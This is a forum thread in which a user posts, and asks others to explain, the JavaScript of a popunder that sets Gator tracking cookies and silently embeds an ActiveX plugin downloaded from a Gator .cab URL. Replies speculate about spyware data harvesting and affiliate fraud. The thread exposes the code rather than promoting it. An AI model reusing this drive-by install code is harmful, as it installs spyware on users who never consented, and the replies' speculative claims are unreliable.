[Roland]

when I opend a certain website with my OPERA browser a small window appears and after some time it disappears.
I do not know much about javascript, but as the sourcecode of that window seems to set and overwrite cookies, dowload gator spayware and then closes after some time. Here is the sourcecode:



<script language="JavaScript">
var pdppi_loaded = false;

function sendPartnerEvent( ){
var event_src = "";
if( event_src ){
document.partnerEventPixel.src = event_src;
}
}

function changeEventPixelSrc( eventid, eventnum ){
var event_src = "/uniq3/Pg8iWAr6AhQAAG6nAu8" + eventnum + ".gif?yic=HIC_AdDynamixINT&eventid=" + eventid + "&reason=0&wuid=Pg8iWAr6AhQAAG6nAu8&ver=0";
switch( eventnum ){
case 2:
document.eventPixel2.src = event_src;
break;
default:
document.eventPixel1.src = event_src;
}
}

function openNew( ){
var pos_top = (screen.height/2)-(350/2);
var pos_left = (screen.width/2)-(600/2);
window.open( '','ncr','width=600,height=350,top=' + pos_top + ',left=' + pos_left );
}

function sleep_close( wait ){
var jsTimer = wait * 1000;
setTimeout("window.close();",jsTimer);
return true;
}

function checkPlugin( ){
var js_plugin_error = 0;
var strObjType = typeof( IEGator );
if( 'object' == strObjType ){
var strParamsType = typeof( IEGator.params );
if ( strParamsType != 'string' ){
js_plugin_error += 1;
}
} else {
if('undefined' == strObjType){
js_plugin_error += 2;
}
else if( 'unknown' == strObjType ){
js_plugin_error += 4;
} else {
js_plugin_error += 8;
}
}

setCookie( "GatorWebPdpCookie_OfferedApps", "datemanager:1|precisiontime:1", 30 );
setCookie( "GatorWebPdpCookie_WUID", "Pg8iWAr6AhQAAG6nAu8", 3650 );
setCookie( "GatorWebPdpCookie_PluginTimer", 1041181024, 3650 );
setCookie( "GatorWebPdpCookie_VisitedPartners", "hic_addynamixint:1", 30 );

if( js_plugin_error == 0 || pdppi_loaded ){
window.focus();
setCookie( "GatorWebPdpCookie_ApprovedApps", "datemanager|precisiontime", 3650 );
changeEventPixelSrc( 4011, 2 );
sendPartnerEvent( );
} else {
changeEventPixelSrc( 4012, 2 );

sleep_close( 30 );
}


}

function setCookie( name, value, days ){
var expiry = 1000 * 60 * 60 * 24 * days;
var expDate = new Date();
expDate.setTime(expDate.getTime() + expiry);
document.cookie = name + "=" + escape( value ) + "; expires=" + expDate.toGMTString() + "; path=/; domain=.gator.com";
}

function embedPlugin( ){
document.writeln( "<object" );
document.writeln( " id=\"IEGator\"" );
document.writeln( " classid=\"CLSID:731918D2-517A-47e2-886A-3BC1380C591D\"" );
document.writeln( " codebase=\"http://webpdp.gator.com/v3/download/ pdpplugin_4094_hd3ptdm.cab\"" );
document.writeln( " align=\"baseline\"" );
document.writeln( " border=\"0\"" );
document.writeln( " width=\"2\"" );
document.writeln( " height=\"2\">" );
document.writeln( " " );
document.writeln( " " );
document.writeln( "" );
}


<script language="JavaScript" for="IEGator" event="onPluginCreated()">
pdppi_loaded = true;
return 7;

Please Wait ...



<script language="JavaScript1.2">
changeEventPixelSrc( 4001, 1 );
embedPlugin();



=================================================

Has anybod enough experience with javascript to tell me exactly what this disapearing popunder does?

carneol

[DesignerWiz]

1 year calling reference cookie insertion

DesignerWiz.com Team
http://DesignerWiz.com

[DesignerWiz]

We tried to back track gator and see what exactly they are up to on the .gif insertion to give you a complete accurate answer. From what we believe (speculative) they are doing without knowing fully what they are doing from the "forbidden" URL entry we attempted. It appears that the cookie is to call on the .gif as original source ID# of possibly any immediate sales and call the .gif from cache at any time thereafter.

Hope this helps.

DesignerWiz.com Team
http://DesignerWiz.com

[ecomcity]

Creating fake impressions with an add-in click cheat script to throw off idiot merchant AM's is more like it. That way the network reports show activity like normal affiliates to throw off the sent of having zero impressions and clickthrough for the hijacked sales.

Webmaster Mike

"Anyone can make a dollar, it is when you make sense that it starts to add up."...does your eBiz plan make sense?

[DesignerWiz]

We tend to agree with you Mike. But, without all the true facts we had to say "speculative" .. lol

DesignerWiz.com Team
http://DesignerWiz.com

[Roland]

A Javascript guru at webdeveloper forum said that a hidden plugin is set to the webbrowser without asking for permission, and that this plugin (

function embedPlugin( ){
document.writeln( "<object" );
document.writeln( " id=\"IEGator\"" );
document.writeln( " classid=\"CLSID:731918D2-517A-47e2-886A-3BC1380C591D\"" );
document.writeln( " codebase=\"http://webpdp.gator.com/v3/download/ pdpplugin_4094_hd3ptdm.cab\"" );
document.writeln( " align=\"baseline\"" );
document.writeln( " border=\"0\"" );
document.writeln( " width=\"2\"" );
document.writeln( " height=\"2\">" );
document.writeln( " " );
document.writeln( " " );
document.writeln( "" );
}

) is gathering any information on my PC and where I surf and even the phone number and then reports it back to gator. If I were using IE this action would be invisible to me. I only could find that code because I used Opera browser.

carneol

[Roland]

A Javascript guru at webdeveloper forum said that a hidden plugin is set to the webbrowser without asking for permission, and that this plugin (

function embedPlugin( ){
document.writeln( "<object" );
document.writeln( " id=\"IEGator\"" );
document.writeln( " classid=\"CLSID:731918D2-517A-47e2-886A-3BC1380C591D\"" );
document.writeln( " codebase=\"http://webpdp.gator.com/v3/download/ pdpplugin_4094_hd3ptdm.cab\"" );
document.writeln( " align=\"baseline\"" );
document.writeln( " border=\"0\"" );
document.writeln( " width=\"2\"" );
document.writeln( " height=\"2\">" );
document.writeln( " " );
document.writeln( " " );
document.writeln( "" );
}

) is gathering any information on my PC and where I surf and even the phone number and then reports it back to gator. If I were using IE this action would be invisible to me. I only could find that code because I used Opera browser.

carneol

[ecomcity]

The spywarez section is designed to feed the telemarketers and sell off surfing habits to all the advertising industry wanks. Gator is just a big data sucking vacuum cleaner bottom feeding on all Internet activity. Seems the Ad industry has sunk to a lower level that was reserved to Lawyers and drug dealers.

Webmaster Mike

"Anyone can make a dollar, it is when you make sense that it starts to add up."...does your eBiz plan make sense?

[Andy]

Nice, very nice.

I'm sure the end user was notified at download that their surfing activities are being documented.

Andy

AFFILIATE MARKETING STANDARD: The site upon which the initial action to buy occurs is the site the commission is paid to. Period.

[Roland]

I was not notified, and did not ask for that activity. The problem is that if I would have used IE from Microsoft, the popup would not be seen. The javascript which is implented to Opera browser is not as good as that IE has, and therefore the popup appeared and was not able to be executed. Perhaps we should recommend all our customers to use Opera browser, as perhaps the parasiteware scripts were not executable there.

Carneol